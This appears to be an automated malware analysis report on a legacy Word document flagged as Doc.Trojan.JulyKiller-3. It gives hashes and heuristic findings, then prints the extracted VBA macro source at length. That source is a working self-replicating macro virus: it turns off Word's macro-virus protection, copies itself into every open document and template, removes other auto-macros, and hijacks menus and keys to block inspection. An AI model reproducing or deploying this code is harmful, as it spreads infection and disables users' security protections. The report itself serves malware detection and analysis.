Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45d272c019c857c8…

MALICIOUS

Office (OLE)

86.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fa676f82176204f8e7630e21b9add2a2 SHA-1: f3c5ea0e7d63b2d8c3f9db977dfc0d2540ce7bb1 SHA-256: 45d272c019c857c8bd1541ca50d504776bc1b087406715a5f8527ded169bfccf
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, specifically AutoOpen and AutoClose functions. These macros are designed to execute automatically, likely to deploy a payload or establish persistence. The presence of 'lcm.dot' as a potential template or dropped file is noted.

Heuristics 6

  • ClamAV: Doc.Trojan.JulyKiller-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.JulyKiller-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
                    If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28073 bytes
SHA-256: 576b345a125a93442db9e5f800b16844e3030ef73b1c3ef1786812c0d3d1cbdd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lcm"
Sub AutoClose()
    Dim file$               '´ò¿ªÎļþÎļþÃû
    Dim ans$          '±£´æ»Ø´ðµÄ×Ö·û´®
    Dim test           '»Ø´ðÌáÎʵĴÎÊý
    Dim path$
    Dim fpath$
    Dim mItem
    Dim cItem
    Dim aDoc               '´ò¿ªÎĵµ
    Dim aTemp              '´ò¿ªÄ£°å
    Dim vset           '¸ÐȾ²¡¶¾Îª1
    Dim Iset           '´æÔÚÎļþΪ1
    Dim ad
    


    For Each ad In AddIns
    If ad.Name = "lcm.dot" Then
        ad.Installed = False
    End If
Next ad

path = Options.DefaultFilePath(wdUserTemplatesPath)
fpath = path + "\lcm.dot"
    
    'È¡Ïûºê²¡¶¾·À»¤
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
'¼ì²éÎļþÊÇ·ñ¸ÐȾ²¡¶¾
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "lcm") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
  '¼ì²éÄ£°åÊÇ·ñ¸ÐȾ²¡¶¾
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
       'Èç¹ûûÓиÐȾ²¡¶¾£¬Ôò¸ÐȾËùÓдò¿ªµÄÎĵµºÍÄ£°å¡£
        If vset <> 1 Then
        WordBasic.DisableAutoMacros       'ÖÕÖ¹×Ô¶¯ºêÔËÐÐ
        Documents.Open FileName:=fpath, AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aDoc.FullName + ":lcm"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aTemp.FullName + ":lcm"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
End If

'¼ì²éÊÇ·ñÓÐlcm.dot
    With Application.FileSearch
.LookIn = path
.FileName = "lcm.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
End With

'ûÓÐlcm.dot Îļþ£¬Ôò½¨Á¢Ò»¸ö¡£

    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":lcm", ActiveDocument.FullName + ":lcm"
        ActiveDocument.SaveAs FileName:=fpath, AddToRecentFiles:=False
        ActiveDocument.Close
    End If

'ÒÆÈ¥ÎļþÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aDoc

'ÒÆÈ¥Ä£°åÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aTemp

'¸ÐȾËùÓдò¿ªµÄÎļþ¡£
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":lcm", aDoc.FullName + ":lcm"
        End If
Next aDoc

'¸ÐȾËùÓдò¿ªµÄÄ£°å¡£
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":lcm", aTemp.FullName + ":lcm"
        End If
    Next aTemp


'Óëºê¡¢Visual Basic ¡¢Ä£°åÓëÔØÏîµÈÓйصĿì½Ý¼ü¡¢²Ëµ¥Ñ¡ÔñÏî¡¢¹¤¾ßÌõ×Ô¶¯¹Ø±Õ¡£
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ñ¡Ïî(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "ºê(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "ºê(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic ±à¼­Æ÷(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    




exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub


Sub AutoExit()
    Dim file$               '´ò¿ªÎļþÎļþÃû
    Dim ans$          '±£´æ»Ø´ðµÄ×Ö·û´®
    Dim test           '»Ø´ðÌáÎʵĴÎÊý
    Dim path$
    Dim fpath$
    Dim mItem
    Dim cItem
    Dim aDoc               '´ò¿ªÎĵµ
    Dim aTemp              '´ò¿ªÄ£°å
    Dim vset           '¸ÐȾ²¡¶¾Îª1
    Dim Iset           '´æÔÚÎļþΪ1
    Dim ad
    


    For Each ad In AddIns
    If ad.Name = "lcm.dot" Then
        ad.Installed = False
    End If
Next ad

path = Options.DefaultFilePath(wdUserTemplatesPath)
fpath = path + "\lcm.dot"
    
    'È¡Ïûºê²¡¶¾·À»¤
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
'¼ì²éÎļþÊÇ·ñ¸ÐȾ²¡¶¾
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "lcm") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
  '¼ì²éÄ£°åÊÇ·ñ¸ÐȾ²¡¶¾
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
       'Èç¹ûûÓиÐȾ²¡¶¾£¬Ôò¸ÐȾËùÓдò¿ªµÄÎĵµºÍÄ£°å¡£
        If vset <> 1 Then
        WordBasic.DisableAutoMacros       'ÖÕÖ¹×Ô¶¯ºêÔËÐÐ
        Documents.Open FileName:=fpath, AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aDoc.FullName + ":lcm"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aTemp.FullName + ":lcm"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
End If

'¼ì²éÊÇ·ñÓÐlcm.dot
    With Application.FileSearch
.LookIn = path
.FileName = "lcm.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
End With

'ûÓÐlcm.dot Îļþ£¬Ôò½¨Á¢Ò»¸ö¡£

    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":lcm", ActiveDocument.FullName + ":lcm"
        ActiveDocument.SaveAs FileName:=fpath, AddToRecentFiles:=False
        ActiveDocument.Close
    End If

'ÒÆÈ¥ÎļþÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aDoc

'ÒÆÈ¥Ä£°åÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aTemp

'¸ÐȾËùÓдò¿ªµÄÎļþ¡£
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":lcm", aDoc.FullName + ":lcm"
        End If
Next aDoc

'¸ÐȾËùÓдò¿ªµÄÄ£°å¡£
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":lcm", aTemp.FullName + ":lcm"
        End If
    Next aTemp


'Óëºê¡¢Visual Basic ¡¢Ä£°åÓëÔØÏîµÈÓйصĿì½Ý¼ü¡¢²Ëµ¥Ñ¡ÔñÏî¡¢¹¤¾ßÌõ×Ô¶¯¹Ø±Õ¡£
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ñ¡Ïî(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "ºê(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "ºê(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic ±à¼­Æ÷(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    

exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub


Sub autoOpen()

    Dim file$               '´ò¿ªÎļþÎļþÃû
    Dim ans$          '±£´æ»Ø´ðµÄ×Ö·û´®
    Dim test           '»Ø´ðÌáÎʵĴÎÊý
    Dim path$
    Dim fpath$
    Dim mItem
    Dim cItem
    Dim aDoc               '´ò¿ªÎĵµ
    Dim aTemp              '´ò¿ªÄ£°å
    Dim vset           '¸ÐȾ²¡¶¾Îª1
    Dim Iset           '´æÔÚÎļþΪ1
    Dim ad
    


    For Each ad In AddIns
    If ad.Name = "lcm.dot" Then
        ad.Installed = False
    End If
Next ad

path = Options.DefaultFilePath(wdUserTemplatesPath)
fpath = path + "lcm.dot"
    
    'È¡Ïûºê²¡¶¾·À»¤
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
'¼ì²éÎļþÊÇ·ñ¸ÐȾ²¡¶¾
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "lcm") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
  '¼ì²éÄ£°åÊÇ·ñ¸ÐȾ²¡¶¾
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
       'Èç¹ûûÓиÐȾ²¡¶¾£¬Ôò¸ÐȾËùÓдò¿ªµÄÎĵµºÍÄ£°å¡£
        If vset <> 1 Then
        WordBasic.DisableAutoMacros       'ÖÕÖ¹×Ô¶¯ºêÔËÐÐ
        Documents.Open FileName:=fpath, AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aDoc.FullName + ":lcm"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aTemp.FullName + ":lcm"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
End If

'¼ì²éÊÇ·ñÓÐlcm.dot
    With Application.FileSearch
.LookIn = path
.FileName = "lcm.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
End With

'ûÓÐlcm.dot Îļþ£¬Ôò½¨Á¢Ò»¸ö¡£

    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":lcm", ActiveDocument.FullName + ":lcm"
        ActiveDocument.SaveAs FileName:=fpath, AddToRecentFiles:=False
        ActiveDocument.Close
    End If

'ÒÆÈ¥ÎļþÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aDoc

'ÒÆÈ¥Ä£°åÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aTemp

'¸ÐȾËùÓдò¿ªµÄÎļþ¡£
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":lcm", aDoc.FullName + ":lcm"
        End If
Next aDoc

'¸ÐȾËùÓдò¿ªµÄÄ£°å¡£
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":lcm", aTemp.FullName + ":lcm"
        End If
    Next aTemp


'Óëºê¡¢Visual Basic ¡¢Ä£°åÓëÔØÏîµÈÓйصĿì½Ý¼ü¡¢²Ëµ¥Ñ¡ÔñÏî¡¢¹¤¾ßÌõ×Ô¶¯¹Ø±Õ¡£
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ñ¡Ïî(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "ºê(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "ºê(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic ±à¼­Æ÷(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    

pun:
    If WordBasic.Month(WordBasic.Now()) = 2 And WordBasic.Day(WordBasic.Now()) = 14 Then
try:
        On Error GoTo -1: On Error GoTo 0
        On Error GoTo -1: On Error GoTo try
Selection.TypeParagraph
For i = 1 To 50
    Selection.TypeParagraph
    Selection.TypeText Text:="HI£¬ÄãºÃ£¡ "
    Selection.TypeParagraph
    Selection.TypeText Text:="  ½ñÌìÊÇÇéÈ˽ڣ¬ÎÒÓÖÏëÆðÁËÄÇ´¬£¬ÄǺӺÍÔÚÄÇÌõºÓºÍ´¬ÉÏÓöµ½µÄÒ»¸öÔøÏëΪ֮ÉúΪ֮ËÀµÄÅ®º¢£¬»¹ÓÐÒ»Ìõ×ÔÒÑÏÖÔÚÎÞÄÜΪÁ¦Òª»»»ØµÄÏîÁ´......"
    Selection.TypeParagraph
Next i
End If
Selection.TypeParagraph


exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub



Sub AutoNew()
    Dim file$               '´ò¿ªÎļþÎļþÃû
    Dim ans$          '±£´æ»Ø´ðµÄ×Ö·û´®
    Dim test           '»Ø´ðÌáÎʵĴÎÊý
    Dim path$
    Dim fpath$
    Dim mItem
    Dim cItem
    Dim aDoc               '´ò¿ªÎĵµ
    Dim aTemp              '´ò¿ªÄ£°å
    Dim vset           '¸ÐȾ²¡¶¾Îª1
    Dim Iset           '´æÔÚÎļþΪ1
    Dim ad
    


    For Each ad In AddIns
    If ad.Name = "lcm.dot" Then
        ad.Installed = False
    End If
Next ad

path = Options.DefaultFilePath(wdUserTemplatesPath)
fpath = path + "\lcm.dot"
    
    'È¡Ïûºê²¡¶¾·À»¤
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
'¼ì²éÎļþÊÇ·ñ¸ÐȾ²¡¶¾
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "lcm") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
  '¼ì²éÄ£°åÊÇ·ñ¸ÐȾ²¡¶¾
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "lcm") Then
            vset = 1
        End If
        Next cItem
       'Èç¹ûûÓиÐȾ²¡¶¾£¬Ôò¸ÐȾËùÓдò¿ªµÄÎĵµºÍÄ£°å¡£
        If vset <> 1 Then
        WordBasic.DisableAutoMacros       'ÖÕÖ¹×Ô¶¯ºêÔËÐÐ
        Documents.Open FileName:=fpath, AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aDoc.FullName + ":lcm"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":lcm", aTemp.FullName + ":lcm"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
End If

'¼ì²éÊÇ·ñÓÐlcm.dot
    With Application.FileSearch
.LookIn = path
.FileName = "lcm.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
End With

'ûÓÐlcm.dot Îļþ£¬Ôò½¨Á¢Ò»¸ö¡£

    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":lcm", ActiveDocument.FullName + ":lcm"
        ActiveDocument.SaveAs FileName:=fpath, AddToRecentFiles:=False
        ActiveDocument.Close
    End If

'ÒÆÈ¥ÎļþÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aDoc

'ÒÆÈ¥Ä£°åÔ­ÓеÄautoopen,autonew,autoclose,filesaveºê¡£
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aTemp

'¸ÐȾËùÓдò¿ªµÄÎļþ¡£
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":lcm", aDoc.FullName + ":lcm"
        End If
Next aDoc

'¸ÐȾËùÓдò¿ªµÄÄ£°å¡£
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":lcm", aTemp.FullName + ":lcm"
        End If
    Next aTemp


'Óëºê¡¢Visual Basic ¡¢Ä£°åÓëÔØÏîµÈÓйصĿì½Ý¼ü¡¢²Ëµ¥Ñ¡ÔñÏî¡¢¹¤¾ßÌõ×Ô¶¯¹Ø±Õ¡£
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ñ¡Ïî(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "ºê(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "ºê(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic ±à¼­Æ÷(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    

pun:
    If WordBasic.Month(WordBasic.Now()) = 2 And WordBasic.Day(WordBasic.Now()) = 14 Then
try:
        On Error GoTo -1: On Error GoTo 0
        On Error GoTo -1: On Error GoTo try
Selection.TypeParagraph
For i = 1 To 50
    Selection.TypeParagraph
    Selection.TypeText Text:="HI£¬ÄãºÃ£¡ "
    Selection.TypeParagraph
